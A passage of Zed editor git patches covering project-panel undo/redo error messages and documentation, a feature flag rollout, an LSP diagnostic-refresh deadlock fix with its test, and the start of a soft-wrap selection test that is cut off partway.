src="https://github.com/user-attachments/assets/9ced2696-1bdf-4b33-aaaf-abc015787505"
/> | <img width="2736" height="1586" alt="8_after"
src="https://github.com/user-attachments/assets/bfc84fc3-c97f-474d-857c-3d5137d06b83"
/> |

</details>

<details>
<summary>9. Redo a re-trash of a deleted file</summary>

| Steps | Before | After |
| --- | --- | --- |
| 1. Delete `a.txt` (to Trash), then Undo (restores it)<br>2. Run `rm
a.txt`<br>3. Redo | <img width="2736" height="1586" alt="9_before"
src="https://github.com/user-attachments/assets/3152787d-c02c-482e-a70a-600e97a44b3b"
/> | <img width="2736" height="1586" alt="9_after"
src="https://github.com/user-attachments/assets/7dd40497-0dfc-41fa-a6ac-772562d29258"
/> |

</details>

---

Release Notes:

- N/A
---
 Cargo.lock                              |   1 +
 crates/fs/src/fs.rs                     |  29 +++-
 crates/fs/tests/integration/fs_tests.rs |   6 +
 crates/project_panel/Cargo.toml         |   1 +
 crates/project_panel/src/undo.rs        | 214 ++++++++++++++++++------
 crates/workspace/src/notifications.rs   |   2 +-
 6 files changed, 197 insertions(+), 56 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index d4333bbd43e00b..0b58f151b596b6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -14226,6 +14226,7 @@ dependencies = [
  "itertools 0.14.0",
  "language",
  "log",
+ "markdown",
  "markdown_preview",
  "menu",
  "notifications",
diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 9b3adda7125f3d..009ac99acd51e5 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -168,9 +168,12 @@ pub trait Fs: Send + Sync {
     async fn is_case_sensitive(&self) -> bool;
     fn subscribe_to_jobs(&self) -> JobEventReceiver;
 
-    /// Restores a given `TrashedEntry`, moving it from the system's trash back
-    /// to the original path.
-    async fn restore(&self, item: TrashId) -> std::result::Result<PathBuf, TrashRestoreError>;
+    /// Returns the original absolute path of the item identified by `trash_id`.
+    fn original_path_for_trash_id(&self, trash_id: TrashId) -> Option<PathBuf>;
+
+    /// Restores the item identified by `trash_id`, moving it from the system's
+    /// trash back to its original path.
+    async fn restore(&self, trash_id: TrashId) -> std::result::Result<PathBuf, TrashRestoreError>;
 
     #[cfg(feature = "test-support")]
     fn as_fake(&self) -> Arc<FakeFs> {
@@ -1348,11 +1351,18 @@ impl Fs for RealFs {
         res
     }
 
-    async fn restore(&self, item: TrashId) -> std::result::Result<PathBuf, TrashRestoreError> {
+    fn original_path_for_trash_id(&self, trash_id: TrashId) -> Option<PathBuf> {
+        self.trash
+            .lock()
+            .get(trash_id)
+            .map(|entry| entry.original_parent.join(&entry.name))
+    }
+
+    async fn restore(&self, trash_id: TrashId) -> std::result::Result<PathBuf, TrashRestoreError> {
         let trashed_entry = self
             .trash
             .lock()
-            .remove(item)
+            .remove(trash_id)
             .ok_or(TrashRestoreError::AlreadyRestored)?;
 
         let restored_item_path = trashed_entry.original_parent.join(&trashed_entry.name);
@@ -3324,6 +3334,15 @@ impl Fs for FakeFs {
         receiver
     }
 
+    fn original_path_for_trash_id(&self, trash_id: TrashId) -> Option<PathBuf> {
+        self.state
+            .lock()
+            .trash
+            .lock()
+            .get(trash_id)
+            .map(|(entry, _)| entry.original_parent.join(&entry.name))
+    }
+
     async fn restore(&self, trash_id: TrashId) -> Result<PathBuf, TrashRestoreError> {
         let mut state = self.state.lock();
 
diff --git a/crates/fs/tests/integration/fs_tests.rs b/crates/fs/tests/integration/fs_tests.rs
index c644229a0da954..a32c3bda846f93 100644
--- a/crates/fs/tests/integration/fs_tests.rs
+++ b/crates/fs/tests/integration/fs_tests.rs
@@ -697,7 +697,13 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
     let path = path!("/root/src/file_a.txt").as_ref();
     let trashed_entry = fs.trash(path, Default::default()).await.unwrap();
 
+    assert_eq!(
+        fs.original_path_for_trash_id(trashed_entry),
+        Some(path.to_path_buf())
+    );
+
     fs.restore(trashed_entry).await.unwrap();
+    assert_eq!(fs.original_path_for_trash_id(trashed_entry), None);
 
     assert_eq!(
         fs.files(),
diff --git a/crates/project_panel/Cargo.toml b/crates/project_panel/Cargo.toml
index 00c66370533d77..6f9d412579efd7 100644
--- a/crates/project_panel/Cargo.toml
+++ b/crates/project_panel/Cargo.toml
@@ -44,6 +44,7 @@ client.workspace = true
 worktree.workspace = true
 workspace.workspace = true
 language.workspace = true
+markdown.workspace = true
 markdown_preview.workspace = true
 zed_actions.workspace = true
 telemetry.workspace = true
diff --git a/crates/project_panel/src/undo.rs b/crates/project_panel/src/undo.rs
index 17b9b4b1bb80a7..65c365c2ef40cd 100644
--- a/crates/project_panel/src/undo.rs
+++ b/crates/project_panel/src/undo.rs
@@ -10,9 +10,9 @@
 //!  Operations                            Results
 //!  ─────────────────────────────────  ──────────────────────────────────────
 //!  Create(ProjectPath)               →  Created(ProjectPath)
-//!  Trash(ProjectPath)                →  Trashed(TrashId)
+//!  Trash(ProjectPath)                →  Trashed(WorktreeId, TrashId)
 //!  Rename(ProjectPath, ProjectPath)  →  Renamed(ProjectPath, ProjectPath)
-//!  Restore(TrashId)                  →  Restored(ProjectPath)
+//!  Restore(WorktreeId, TrashId)      →  Restored(ProjectPath)
 //!  Batch(Vec<Operation>)             →  Batch(Vec<Result>)
 //!
 //!
@@ -59,41 +59,41 @@
 //!                                  │
 //! User Operation  Undo             v
 //! Execute         Created(CONTRIBUTING.md) ────────> Trash(CONTRIBUTING.md)
-//! Record          Trashed(TrashId(1))
+//! Record          Trashed(WorktreeId(1), TrashId(1))
 //! History
 //! 	0 Created(src/main.rs)
-//! 	1 Renamed(README.md, readme.md) ─┐
-//!     2 +++cursor+++                   │(before the cursor)
-//! 	2 Trashed(TrashId(1))            │
-//!                                      │
-//! User Operation  Undo                 v
+//! 	1 Renamed(README.md, readme.md) ─────┐
+//!     2 +++cursor+++                       │(before the cursor)
+//! 	2 Trashed(WorktreeId(1), TrashId(1)) │
+//!                                          │
+//! User Operation  Undo                     v
 //! Execute         Renamed(README.md, readme.md) ───> Rename(readme.md, README.md)
 //! Record          Renamed(readme.md, README.md)
 //! History
 //! 	0 Created(src/main.rs)
 //!     1 +++cursor+++
-//! 	1 Renamed(readme.md, README.md) ─┐ (at the cursor)
-//! 	2 Trashed(TrashId(1))            │
-//!                                      │
-//!   ┌──────────────────────────────────┴─────────────────────────────────────────┐
+//! 	1 Renamed(readme.md, README.md) ─────┐ (at the cursor)
+//! 	2 Trashed(WorktreeId(1), TrashId(1)) │
+//!                                          │
+//!   ┌──────────────────────────────────────┴─────────────────────────────────────┐
 //!     Redoing will take the result at the cursor position, convert that into the
 //!     operation that can revert that result, execute that operation and replace
 //!     the result in the history with the new result, obtained from running the
 //!     inverse operation, advancing the cursor position.
-//!   └──────────────────────────────────┬─────────────────────────────────────────┘
-//!                                      │
-//!                                      │
-//! User Operation  Redo                 v
+//!   └─────────────────────────────────────┬──────────────────────────────────────┘
+//!                                         │
+//!                                         │
+//! User Operation  Redo                    v
 //! Execute         Renamed(readme.md, README.md) ───> Rename(README.md, readme.md)
 //! Record          Renamed(README.md, readme.md)
 //! History
 //! 	0 Created(src/main.rs)
 //! 	1 Renamed(README.md, readme.md)
 //!     2 +++cursor+++
-//! 	2 Trashed(TrashId(1))───────┐ (at the cursor)
+//! 	2 Trashed(WorktreeId(1), TrashId(1)) ─┐ (at the cursor)
 //!                                 │
 //! User Operation  Redo            v
-//! Execute         Trashed(TrashId(1)) ────────> Restore(TrashId(1))
+//! Execute         Trashed(WorktreeId(1), TrashId(1)) ─> Restore(WorktreeId(1), TrashId(1))
 //! Record          Restored(ProjectPath)
 //! History
 //! 	0 Created(src/main.rs)
@@ -132,16 +132,21 @@
 
 use crate::ProjectPanel;
 use anyhow::{Context, Result, anyhow};
-use fs::TrashId;
+use fs::{TrashId, TrashRestoreError};
 use futures::channel::mpsc;
-use gpui::{AppContext, AsyncApp, SharedString, Task, WeakEntity};
+use gpui::{AppContext, AsyncApp, IntoElement, SharedString, Styled, Task, WeakEntity};
+use markdown::{Markdown, MarkdownElement};
+use project::Project;
 use project::{ProjectPath, WorktreeId};
 use std::sync::atomic::{AtomicBool, Ordering};
 use std::{collections::VecDeque, sync::Arc};
-use ui::App;
+use ui::{App, TextSize};
+use util::{paths::PathStyle, rel_path::RelPath};
 use workspace::{
     Workspace,
-    notifications::{NotificationId, simple_message_notification::MessageNotification},
+    notifications::{
+        NotificationId, markdown_style, simple_message_notification::MessageNotification,
+    },
 };
 use worktree::CreatedEntry;
 
@@ -313,12 +318,23 @@ impl UndoMessage {
             UndoMessage::Changed(_) => {
                 "this is a bug in the manage_undo_and_redo task please report"
             }
-            UndoMessage::Undo => "Undo failed",
-            UndoMessage::Redo => "Redo failed",
+            UndoMessage::Undo => "Undo Failed",
+            UndoMessage::Redo => "Redo Failed",
         }
     }
 }
 
+fn project_path_display(
+    project: &Project,
+    project_path: &ProjectPath,
+    path_style: PathStyle,
+    cx: &App,
+) -> String {
+    project
+        .short_full_path_for_project_path(project_path, cx)
+        .unwrap_or_else(|| project_path.path.display(path_style).to_string())
+}
+
 impl Inner {
     async fn manage_undo_and_redo(mut self, mut cx: AsyncApp) {
         loop {
@@ -346,16 +362,19 @@ impl Inner {
             };
 
             if let Err(e) = res {
-                Self::show_error(error_title, self.workspace.clone(), e.to_string(), &mut cx);
+                Self::show_error(
+                    error_title,
+                    self.workspace.clone(),
+                    format!("{e:#}"),
+                    &mut cx,
+                );
             }
 
             self.can_undo.store(self.can_undo(), Ordering::Relaxed);
             self.can_redo.store(self.can_redo(), Ordering::Relaxed);
         }
     }
-}
 
-impl Inner {
     pub fn new(
         workspace: WeakEntity<Workspace>,
         panel: WeakEntity<ProjectPanel>,
@@ -401,7 +420,7 @@ impl Inner {
         // 	0 Created(src/main.rs)
         // 	1 Renamed(README.md, readme.md) ─┐
         //     2 +++cursor+++                │(before the cursor)
-        // 	2 Trashed(TrashId(1))            │
+        // 	2 Trashed(WorktreeId(1), TrashId(1)) │
         //                                   │
         // User Operation  Undo              v
         // Failed execute  Renamed(README.md, readme.md) ───> Rename(readme.md, README.md)
@@ -409,10 +428,10 @@ impl Inner {
         // History
         // 	0 Created(src/main.rs)
         //     1 +++cursor+++
-        // 	1 Trashed(TrashId(1)) ---------
-        //                                |(at the cursor)
-        // User Operation  Redo           v
-        // Execute         Trashed(TrashId(1)) ────────> Restore(TrashId(1))
+        // 	1 Trashed(WorktreeId(1), TrashId(1)) ---------
+        //                                             |(at the cursor)
+        // User Operation  Redo                        v
+        // Execute         Trashed(WorktreeId(1), TrashId(1)) ─> Restore(WorktreeId(1), TrashId(1))
         // Record          Restored(ProjectPath)
         // History
         // 	0 Created(src/main.rs)
@@ -497,18 +516,57 @@ impl Inner {
             return Err(anyhow!("Failed to obtain workspace."));
         };
 
+        let (from_name, to_name) = workspace.update(cx, |workspace, cx| {
+            let project = workspace.project().read(cx);
+            let path_style = project.path_style(cx);
+
+            (
+                project_path_display(project, from, path_style, cx),
+                project_path_display(project, to, path_style, cx),
+            )
+        });
+
+        // Since the Project Panel's rename operation is used for both renaming
+        // and moving files and directories, we'll assume that, if both paths
+        // share the parent folder, then it was a simple rename, otherwise it
+        // was a move.
+        let operation = if from.path.parent() == to.path.parent() {
+            "rename"
+        } else {
+            "move"
+        };
+
         let res: Result<Task<Result<CreatedEntry>>> = workspace.update(cx, |workspace, cx| {
             workspace.project().update(cx, |project, cx| {
                 let entry_id = project
                     .entry_for_path(from, cx)
                     .map(|entry| entry.id)
-                    .ok_or_else(|| anyhow!("No entry for path."))?;
+                    .with_context(|| {
+                        format!("Failed to {operation} `{from_name}`. It no longer exists.")
+                    })?;
 
                 Ok(project.rename_entry(entry_id, to.clone(), cx))
             })
         });
 
-        res?.await
+        res?.await.map_err(|err| {
+            // It is possible for `RealFs::rename` to return an error other than
+            // `io::Error` when the file already exists, hence why we're also
+            // checking if the error contains the "already exists" string.
+            let already_exists = err.chain().any(|cause| {
+                cause
+                    .downcast_ref::<std::io::Error>()
+                    .is_some_and(|io_err| io_err.kind() == std::io::ErrorKind::AlreadyExists)
+            }) || format!("{err:#}").contains("already exists");
+
+            if already_exists {
+                anyhow!(
+                    "Failed to {operation} `{from_name}` to `{to_name}`. A file or folder already exists there."
+                )
+            } else {
+                err
+            }
+        })
     }
 
     async fn trash(&self, project_path: &ProjectPath, cx: &mut AsyncApp) -> Result<TrashId> {
@@ -516,20 +574,30 @@ impl Inner {
             return Err(anyhow!("Failed to obtain workspace."));
         };
 
-        workspace
-            .update(cx, |workspace, cx| {
-                workspace.project().update(cx, |project, cx| {
-                    let entry_id = project
-                        .entry_for_path(&project_path, cx)
-                        .map(|entry| entry.id)
-                        .ok_or_else(|| anyhow!("No entry for path."))?;
-
-                    project
-                        .trash_entry(entry_id, cx)
-                        .ok_or_else(|| anyhow!("Worktree entry should exist"))
-                })
-            })?
-            .await
+        let name = workspace.update(cx, |workspace, cx| {
+            let project = workspace.project().read(cx);
+            let path_style = project.path_style(cx);
+
+            project_path_display(project, project_path, path_style, cx)
+        });
+
+        let task = workspace.update(cx, |workspace, cx| {
+            workspace.project().update(cx, |project, cx| {
+                let entry_id = project
+                    .entry_for_path(project_path, cx)
+                    .map(|entry| entry.id)
+                    .with_context(|| format!("Failed to trash `{name}`. It no longer exists."))?;
+
+                project
+                    .trash_entry(entry_id, cx)
+                    .with_context(|| format!("Failed to trash `{name}`."))
+            })
+        })?;
+
+        match task.await {
+            Ok(trash_id) => Ok(trash_id),
+            Err(err) => Err(err).context(format!("Failed to trash `{name}`.")),
+        }
     }
 
     async fn restore(
@@ -542,6 +610,35 @@ impl Inner {
             return Err(anyhow!("Failed to obtain workspace."));
         };
 
+        let name = workspace
+            .update(cx, |workspace, cx| {
+                let project = workspace.project().read(cx);
+                let path_style = project.path_style(cx);
+                let original_path = project.fs().original_path_for_trash_id(trash_id)?;
+                let original_name = original_path
+                    .file_name()
+                    .map(|name| name.to_string_lossy().into_owned())
+                    .unwrap_or_else(|| original_path.display().to_string());
+
+                let project_path = (|| {
+                    let worktree = project.worktree_for_id(worktree_id, cx)?;
+                    let worktree_abs_path = worktree.read(cx).abs_path();
+                    let relative_path = original_path
+                        .strip_prefix(worktree_abs_path.as_ref())
+                        .ok()?;
+                    let relative_path = RelPath::new(relative_path, path_style).ok()?;
+                    Some(ProjectPath {
+                        worktree_id,
+                        path: relative_path.into_arc(),
+                    })
+                })();
+
+                Some(project_path.map_or(original_name, |project_path| {
+                    project_path_display(project, &project_path, path_style, cx)
+                }))
+            })
+            .unwrap_or_else(|| "item".to_string());
+
         workspace
             .update(cx, |workspace, cx| {
                 workspace.project().update(cx, |project, cx| {
@@ -549,22 +646,39 @@ impl Inner {
                 })
             })
             .await
+            .map_err(|err| match err.downcast_ref::<TrashRestoreError>() {
+                Some(TrashRestoreError::Collision { .. }) => anyhow!(
+                    "Failed to restore `{name}`. Something already exists at its original location."
+                ),
+                _ => anyhow!("Failed to restore `{name}`. It may have been permanently deleted."),
+            })
     }
 
-    /// Displays a notification with the provided `title` and `error`.
+    /// Displays a notification with the provided `title` and `error`. The
+    /// `error` is rendered as markdown, so file names wrapped in backticks show
+    /// up as inline code.
     fn show_error(
         title: impl Into<SharedString>,
         workspace: WeakEntity<Workspace>,
         error: String,
         cx: &mut AsyncApp,
     ) {
+        let title = title.into();
         workspace
             .update(cx, move |workspace, cx| {
                 let notification_id =
                     NotificationId::Named(SharedString::new_static("project_panel_undo"));
 
                 workspace.show_notification(notification_id, cx, move |cx| {
-                    cx.new(|cx| MessageNotification::new(error, cx).with_title(title))
+                    cx.new(move |cx| {
+                        let markdown = cx.new(|cx| Markdown::new(error.into(), None, None, cx));
+                        MessageNotification::new_from_builder(cx, move |window, cx| {
+                            MarkdownElement::new(markdown.clone(), markdown_style(window, cx))
+                                .text_size(TextSize::Default.rems(cx))
+                                .into_any_element()
+                        })
+                        .with_title(title)
+                    })
                 })
             })
             .ok();
diff --git a/crates/workspace/src/notifications.rs b/crates/workspace/src/notifications.rs
index 59246eaba2eac6..860ac2ad9f635b 100644
--- a/crates/workspace/src/notifications.rs
+++ b/crates/workspace/src/notifications.rs
@@ -428,7 +428,7 @@ fn workspace_error_notification_id() -> NotificationId {
     NotificationId::unique::<WorkspaceErrorNotification>()
 }
 
-fn markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
+pub fn markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
     let settings = ThemeSettings::get_global(cx);
     let ui_font_family = settings.ui_font.family.clone();
     let ui_font_fallbacks = settings.ui_font.fallbacks.clone();

From 95106f9cde3a6e7b622b6c390c82cf426d7daaa1 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 28 Jul 2026 13:27:24 +0100
Subject: [PATCH 735/772] docs: Add project panel's undo and redo documentation
 (#60191)

# Objective

Update the Project Panel's documentation to document which operations
support undo and redo behavior so it's easier for users to discover this
feature.

This Pull Request should stay in draft and only be merged after both
https://github.com/zed-industries/zed/pull/59709 and
https://github.com/zed-industries/zed/pull/59595 are merged, as
documentation mentions behavior that is being updated in both Pull
Requests.

Release Notes:

- N/A
---
 docs/src/project-panel.md | 60 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 60 insertions(+)

diff --git a/docs/src/project-panel.md b/docs/src/project-panel.md
index 030177af8f66f4..d94954bb4b3ef4 100644
--- a/docs/src/project-panel.md
+++ b/docs/src/project-panel.md
@@ -185,3 +185,63 @@ The `project_panel.sort_order` setting controls name comparison:
   selected directory.
 - {#action project_panel::RemoveFromProject} removes a workspace root folder
   from the project.
+
+## Undo and Redo
+
+The Project Panel keeps a history of the file operations you perform through it,
+letting you undo ({#action project_panel::Undo} / {#kb project_panel::Undo}) and
+redo ({#action project_panel::Redo} / {#kb project_panel::Redo}) these
+operations, with support for local and remote projects.
+
+The following operations are tracked:
+
+- {#action project_panel::NewFile}
+- {#action project_panel::NewDirectory}
+- {#action project_panel::Rename}
+- {#action project_panel::Trash}
+- {#action project_panel::Paste}
+- {#action project_panel::Duplicate}
+
+Besides these actions, moving items within the panel using drag and drop, as
+well as dragging files into the panel from outside Zed, are also tracked.
+
+Undoing a move or rename (for example {#action project_panel::Rename}, a
+{#action project_panel::Cut} followed by paste, or a drag within the panel)
+returns the item to its original name or location.
+
+Undoing an operation that creates a file or directory (for example
+{#action project_panel::NewFile}, {#action project_panel::NewDirectory},
+{#action project_panel::Duplicate}, a {#action project_panel::Copy} followed by
+paste, or a drag from outside Zed) moves the new item to your system trash
+rather than deleting it. This keeps it recoverable and lets redo restore it, but
+it also means you may notice these items appear in your trash.
+
+When you batch several of these together, for example, selecting multiple files
+and moving them to another folder, the whole batch is undone or redone as a
+single step, and a failure in one of the operations does not block the rest.
+
+### Limitations
+
+- Undo and redo are not available when collaborating in a project shared by
+  someone else. The same applies to {#action project_panel::Trash}, so when
+  working as a guest in a shared project, files can only be permanently
+  deleted, and file operations cannot be undone.
+- Operations whose result is a path excluded from the project via the
+  `file_scan_exclusions` setting are not recorded. For example, with
+  `**/*.secret` excluded, creating a file named `token.secret`, or renaming an
+  existing file to `token.secret`, succeeds on disk, but the operation cannot
+  be undone from the panel.
+- Permanently deleting an item ({#action project_panel::Delete}) is not tracked
+  and cannot be undone.
+- Undoing a {#action project_panel::Trash} restores the item from your system's
+  trash. If you empty the trash, the item can no longer be restored.
+- Undo and redo act on the current state of the filesystem. If something changed
+  outside Zed, for example, a conflicting file now exists at the destination, or
+  the item was moved or deleted by another program, the operation may no longer
+  be undoable, and Zed will show a notification accordingly.
+- On remote hosts without system trash support, {#action project_panel::Trash}
+  will fail when used, along with anything that relies on it, such as undoing a
+  trash or undoing an operation that creates a file or directory. At the time of
+  writing, Zed does not reliably detect trash support ahead of time, so the
+  action is always available but may report an error.
+- The undo history is not persisted across sessions, so quitting Zed clears it.

From a8b57a2529abcfe263e4e9b38cbd61b60705d9ef Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 28 Jul 2026 13:30:14 +0100
Subject: [PATCH 736/772] feature_flags: Enable project panel undo everywhere
 except stable (#61457)

# Objective

Enable the Project Panel Undo/Redo feature flag in all channels except
stable. This gives us control over when it lands in Stable, while also
allowing us to have it sit in Preview for longer than a single week, if
we want to.

## Solution

Update `ProjectPanelUndoRedoFeatureFlag::enabled_for_all` to be true on
all release channels except `ReleaseChannel::Stable`. The feature flag
doesn't allow us to scope it per environment so there's no way we could
enable the flag for all but only have it impact Preview, should have
added that safeguard in the beginning as stable is already relying on
the feature flag exclusively.

## Testing

N/A

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 Cargo.lock                        | 1 +
 crates/feature_flags/Cargo.toml   | 1 +
 crates/feature_flags/src/flags.rs | 7 +++++++
 3 files changed, 9 insertions(+)

diff --git a/Cargo.lock b/Cargo.lock
index 0b58f151b596b6..2a8077b622f32b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6566,6 +6566,7 @@ dependencies = [
  "fs",
  "gpui",
  "inventory",
+ "release_channel",
  "schemars 1.0.4",
  "serde_json",
  "settings",
diff --git a/crates/feature_flags/Cargo.toml b/crates/feature_flags/Cargo.toml
index 31ec5ec0da8ceb..8b1d9b18d64b95 100644
--- a/crates/feature_flags/Cargo.toml
+++ b/crates/feature_flags/Cargo.toml
@@ -17,6 +17,7 @@ feature_flags_macros.workspace = true
 fs.workspace = true
 gpui.workspace = true
 inventory.workspace = true
+release_channel.workspace = true
 schemars.workspace = true
 serde_json.workspace = true
 settings.workspace = true
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index de6f03f1c672d3..8486c32d2694ad 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -87,6 +87,13 @@ impl FeatureFlag for ProjectPanelUndoRedoFeatureFlag {
     fn enabled_for_staff() -> bool {
         true
     }
+
+    fn enabled_for_all() -> bool {
+        !matches!(
+            *release_channel::RELEASE_CHANNEL,
+            release_channel::ReleaseChannel::Stable
+        )
+    }
 }
 register_feature_flag!(ProjectPanelUndoRedoFeatureFlag);
 

From 1efdc3e63e5dd148d9beeb56c574e8dea768883d Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 28 Jul 2026 15:32:28 +0300
Subject: [PATCH 737/772] Instantly acknowledge workspace/diagnostic/refresh
 (#61772)

Closes https://github.com/zed-industries/zed/issues/61692

Makes no sense to wait for anything at all when receiving such requests,
https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#diagnostic_refresh
does not imply anything either.

Release Notes:

- Fixed diagnostics refresh deadlocking certain language servers
---
 crates/project/src/lsp_store.rs               | 16 ++--
 .../tests/integration/project_tests.rs        | 88 +++++++++++++++++++
 2 files changed, 97 insertions(+), 7 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 06db4471ee9b12..7cb9956ef3e5b8 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1145,10 +1145,10 @@ impl LocalLspStore {
             .on_request::<lsp::request::WorkspaceDiagnosticRefresh, _, _>({
                 let this = lsp_store.clone();
                 move |(), cx| {
-                    let this = this.clone();
+                    let lsp_store = this.clone();
                     let mut cx = cx.clone();
                     async move {
-                        this.update(&mut cx, |lsp_store, cx| {
+                        lsp_store.update(&mut cx, |lsp_store, cx| {
                             lsp_store.pull_workspace_diagnostics(server_id);
                             lsp_store
                                 .downstream_client
@@ -1160,11 +1160,13 @@ impl LocalLspStore {
                                     })
                                 })
                                 .transpose()?;
-                            anyhow::Ok(
-                                lsp_store.pull_document_diagnostics_for_server(server_id, None, cx),
-                            )
-                        })??
-                        .await;
+                            // Respond before pulling: awaiting a round-trip to the same server
+                            // here can deadlock servers that bound their request concurrency
+                            // and await this response.
+                            let _ =
+                                lsp_store.pull_document_diagnostics_for_server(server_id, None, cx);
+                            anyhow::Ok(())
+                        })??;
                         Ok(())
                     }
                 }
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 1a5d6d358c9dca..29f76a45950fa5 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -4553,6 +4553,94 @@ async fn test_workspace_diagnostics_pull_timeout_releases_waiters(cx: &mut gpui:
     );
 }
 
+#[gpui::test]
+async fn test_workspace_diagnostics_refresh_is_answered_before_pulling(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/dir"), json!({ "a.rs": "one two three" }))
+        .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let document_pulls_received = Arc::new(atomic::AtomicUsize::new(0));
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                diagnostic_provider: Some(lsp::DiagnosticServerCapabilities::Options(
+                    lsp::DiagnosticOptions {
+                        identifier: Some("test-refresh-response-first".to_string()),
+                        inter_file_dependencies: true,
+                        workspace_diagnostics: true,
+                        work_done_progress_options: Default::default(),
+                    },
+                )),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new({
+                let document_pulls_received = document_pulls_received.clone();
+                move |fake_server| {
+                    // Simulate a server that cannot answer any diagnostic pulls until its
+                    // own workspace/diagnostic/refresh request is answered, e.g. one that
+                    // bounds its request concurrency.
+                    fake_server
+                        .set_request_handler::<lsp::request::DocumentDiagnosticRequest, _, _>({
+                            let document_pulls_received = document_pulls_received.clone();
+                            move |_, _| {
+                                document_pulls_received.fetch_add(1, atomic::Ordering::Release);
+                                async move {
+                                    future::pending::<()>().await;
+                                    Err(anyhow::anyhow!("should never respond"))
+                                }
+                            }
+                        });
+                    fake_server
+                        .set_request_handler::<lsp::request::WorkspaceDiagnosticRequest, _, _>(
+                            move |_, _| async move {
+                                future::pending::<()>().await;
+                                Err(anyhow::anyhow!("should never respond"))
+                            },
+                        );
+                }
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let (_buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let refresh_response = cx.executor().spawn(async move {
+        fake_server
+            .request::<lsp::request::WorkspaceDiagnosticRefresh>((), DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+    });
+    cx.executor().run_until_parked();
+
+    refresh_response
+        .now_or_never()
+        .expect("workspace/diagnostic/refresh must be answered without awaiting diagnostic pulls from the same server")
+        .into_response()
+        .expect("workspace/diagnostic/refresh should succeed");
+    assert_eq!(
+        document_pulls_received.load(atomic::Ordering::Acquire),
+        1,
+        "the refresh should still trigger a document diagnostics pull for the open buffer"
+    );
+}
+
 #[gpui::test]
 async fn test_edits_from_lsp2_with_past_version(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From fa1d0362b4fd7c1c1d2c7e6d664913fcf69b2f4e Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 28 Jul 2026 15:49:43 +0300
Subject: [PATCH 738/772] Fix mouse multi cursor placement for wrapped lines
 (#61590)

Closes https://github.com/zed-industries/zed/issues/25237


https://github.com/user-attachments/assets/0f1d54a0-c8f1-4b49-8327-73375a2e1f4e


Release Notes:

- Fixed mouse multi cursor placement for wrapped lines

---------

Co-authored-by: Finn Evers <finn@zed.dev>
---
 crates/editor/src/editor_tests.rs | 81 +++++++++++++++++++++++++++++++
 crates/editor/src/selection.rs    |  7 +++
 2 files changed, 88 insertions(+)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index c3bdea117a494e..980a5892444a92 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -42108,6 +42108,87 @@ async fn test_columnar_selection_past_end_of_line(cx: &mut TestAppContext) {
     "});
 }
 
+#[gpui::test]
+async fn test_columnar_selection_with_soft_wrap(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state(indoc! {"
+        ˇ1. Very long line to show how a wrapped line would look
+        2. Very long line to show how a wrapped line would look
+    "});
+
+    let soft_wrap_second_line_row = |editor: &mut Editor, cx: &mut Context<Editor>| {
+        editor.set_wrap_width(Some(100.0.into()), cx);
+        let snapshot = editor.display_snapshot(cx);
+        let second_line_row = Point::new(1, 0).to_display_point(&snapshot).row();
+        assert!(
+            second_line_row.0 > 1,
+            "expected the first line to be soft wrapped"
+        );
+        second_line_row
+    };
+
+    // Dragging a columnar selection across the soft-wrapped rows of the first
+    // line must produce one selection per buffer line, not one per display row.
+    cx.update_editor(|editor, window, cx| {
+        let second_line_row = soft_wrap_second_line_row(editor, cx);
+        editor.select(
+            SelectPhase::BeginColumnar {
+                position: DisplayPoint::new(DisplayRow(0), 0),
+                goal_column: 0,
+                reset: true,
